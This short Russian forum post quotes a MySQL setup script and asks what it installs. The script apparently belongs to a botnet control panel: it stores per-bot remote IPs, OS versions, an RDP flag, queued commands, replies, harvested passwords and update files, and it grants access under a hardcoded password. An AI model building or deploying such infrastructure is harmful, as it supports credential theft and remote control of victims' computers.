Оооо великий ГУГЛЯ ПОМОГИ
А что вы там хоть устанавливаете то?
-- runme mysql --user=root -v < tables.sql
CREATE DATABASE xt;
GRANT ALL PRIVILEGES ON xt.* TO xt@localhost;
FLUSH PRIVILEGES;
SET PASSWORD FOR xt@localhost=PASSWORD('xt2sqluser');
FLUSH PRIVILEGES;
USE xt;
DROP TABLE IF EXISTS xt2_alive;
CREATE TABLE xt2_alive(
id INT UNSIGNED NOT NULL AUTO_INCREMENT,
bid char(18) NOT NULL,
gid VARCHAR(256),
gazdata VARCHAR(64),
aid VARCHAR(64),
aid2 BLOB,
nick VARCHAR(64),
ctime DATETIME NOT NULL, -- created
atime DATETIME NOT NULL, -- last access
uptime INT UNSIGNED,
rip VARCHAR(16) NOT NULL, -- remote ip
lip VARCHAR(16) NOT NULL, -- local ip
tstate VARCHAR(32),
user VARCHAR(64),
country VARCHAR(8),
lang VARCHAR(8),
os_ver VARCHAR(256) NOT NULL,
bot_ver VARCHAR(16),
xtp_ver VARCHAR(128),
bflags INT UNSIGNED, -- 0x00000001 - RDP OK
send_cmd VARCHAR(256), -- cmd1;cmd2;cmd3...
reply BLOB,
passwds BLOB,
km VARCHAR(128),
tk TEXT,
stuff BLOB,
comments BLOB,
tags VARCHAR(256),
PRIMARY KEY(id)
);
CREATE INDEX bid_i ON xt2_alive(bid);
DROP TABLE IF EXISTS xt2_cfg;
CREATE TABLE xt2_cfg(
id INT UNSIGNED NOT NULL AUTO_INCREMENT,
name VARCHAR(64) NOT NULL,
val VARCHAR(256),
PRIMARY KEY(id)
);
INSERT INTO xt2_cfg (name,val) VALUES ('current_xt_ver','4.4.2');
INSERT INTO xt2_cfg (name,val) VALUES ('update_id','100');
INSERT INTO xt2_cfg (name,val) VALUES ('update_file','update422.dat');
INSERT INTO xt2_cfg (name,val) VALUES ('tags','');
